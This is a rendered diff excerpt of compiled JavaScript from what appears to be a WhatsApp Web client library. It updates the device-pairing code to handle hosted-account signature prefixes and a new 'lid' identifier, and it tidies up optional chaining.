const platformNode = (0, WABinary_1.getBinaryNodeChild)(pairSuccessNode, 'platform');
|
|
131
133
|
const deviceNode = (0, WABinary_1.getBinaryNodeChild)(pairSuccessNode, 'device');
|
|
132
134
|
const businessNode = (0, WABinary_1.getBinaryNodeChild)(pairSuccessNode, 'biz');
|
|
135
|
+
|
|
133
136
|
if (!deviceIdentityNode || !deviceNode) {
|
|
134
137
|
throw new boom_1.Boom('Missing device-identity or device in pair success node', { data: stanza });
|
|
135
138
|
}
|
|
136
|
-
|
|
139
|
+
|
|
140
|
+
const bizName = businessNode?.attrs.name;
|
|
137
141
|
const jid = deviceNode.attrs.jid;
|
|
138
|
-
const
|
|
139
|
-
|
|
140
|
-
const
|
|
142
|
+
const lid = deviceNode.attrs.lid;
|
|
143
|
+
|
|
144
|
+
const { details, hmac, accountType } = WAProto_1.proto.ADVSignedDeviceIdentityHMAC.decode(deviceIdentityNode.content);
|
|
145
|
+
|
|
146
|
+
let hmacPrefix = Buffer.from([]);
|
|
147
|
+
if (accountType !== undefined && accountType === WAProto_1.proto.ADVEncryptionType.HOSTED) {
|
|
148
|
+
hmacPrefix = Buffer.from([0x06, 0x05]);
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
const advSign = (0, crypto_2.hmacSign)(Buffer.concat([hmacPrefix, details]), Buffer.from(advSecretKey, 'base64'));
|
|
141
152
|
if (Buffer.compare(hmac, advSign) !== 0) {
|
|
142
153
|
throw new boom_1.Boom('Invalid account signature');
|
|
143
154
|
}
|
|
155
|
+
|
|
144
156
|
const account = WAProto_1.proto.ADVSignedDeviceIdentity.decode(details);
|
|
145
157
|
const { accountSignatureKey, accountSignature, details: deviceDetails } = account;
|
|
146
|
-
|
|
147
|
-
const
|
|
158
|
+
|
|
159
|
+
const deviceIdentity = WAProto_1.proto.ADVDeviceIdentity.decode(deviceDetails);
|
|
160
|
+
|
|
161
|
+
const accountSignaturePrefix = deviceIdentity.deviceType === WAProto_1.proto.ADVEncryptionType.HOSTED
|
|
162
|
+
? Buffer.from([0x06, 0x05])
|
|
163
|
+
: Buffer.from([0x06, 0x00]);
|
|
164
|
+
const accountMsg = Buffer.concat([accountSignaturePrefix, deviceDetails, signedIdentityKey.public]);
|
|
165
|
+
|
|
148
166
|
if (!crypto_2.Curve.verify(accountSignatureKey, accountMsg, accountSignature)) {
|
|
149
167
|
throw new boom_1.Boom('Failed to verify account signature');
|
|
150
168
|
}
|
|
151
|
-
|
|
152
|
-
const deviceMsg = Buffer.concat([
|
|
169
|
+
|
|
170
|
+
const deviceMsg = Buffer.concat([
|
|
171
|
+
Buffer.from([0x06, 0x01]),
|
|
172
|
+
deviceDetails,
|
|
173
|
+
signedIdentityKey.public,
|
|
174
|
+
accountSignatureKey
|
|
175
|
+
]);
|
|
153
176
|
account.deviceSignature = crypto_2.Curve.sign(signedIdentityKey.private, deviceMsg);
|
|
177
|
+
|
|
154
178
|
const identity = (0, signal_1.createSignalIdentity)(jid, accountSignatureKey);
|
|
155
179
|
const accountEnc = (0, exports.encodeSignedDeviceIdentity)(account, false);
|
|
156
|
-
|
|
180
|
+
|
|
157
181
|
const reply = {
|
|
158
182
|
tag: 'iq',
|
|
159
183
|
attrs: {
|
|
@@ -175,27 +199,27 @@ const configureSuccessfulPairing = (stanza, { advSecretKey, signedIdentityKey, s
|
|
|
175
199
|
}
|
|
176
200
|
]
|
|
177
201
|
};
|
|
202
|
+
|
|
178
203
|
const authUpdate = {
|
|
179
204
|
account,
|
|
180
|
-
me: { id: jid, name: bizName },
|
|
205
|
+
me: { id: jid, name: bizName, lid },
|
|
181
206
|
signalIdentities: [
|
|
182
207
|
...(signalIdentities || []),
|
|
183
208
|
identity
|
|
184
209
|
],
|
|
185
|
-
platform: platformNode
|
|
210
|
+
platform: platformNode?.attrs.name
|
|
186
211
|
};
|
|
212
|
+
|
|
187
213
|
return {
|
|
188
214
|
creds: authUpdate,
|
|
189
215
|
reply
|
|
190
216
|
};
|
|
191
217
|
};
|
|
192
218
|
exports.configureSuccessfulPairing = configureSuccessfulPairing;
|
|
219
|
+
|
|
193
220
|
const encodeSignedDeviceIdentity = (account, includeSignatureKey) => {
|
|
194
|
-
var _a;
|
|
195
221
|
account = { ...account };
|
|
196
|
-
|
|
197
|
-
// or if we are including the signature key but it is empty
|
|
198
|
-
if (!includeSignatureKey || !((_a = account.accountSignatureKey) === null || _a === void 0 ? void 0 : _a.length)) {
|
|
222
|
+
if (!includeSignatureKey || !account.accountSignatureKey?.length) {
|
|
199
223
|
account.accountSignatureKey = null;
|
|
200
224
|
}
|
|
201
225
|
return WAProto_1.proto.ADVSignedDeviceIdentity
|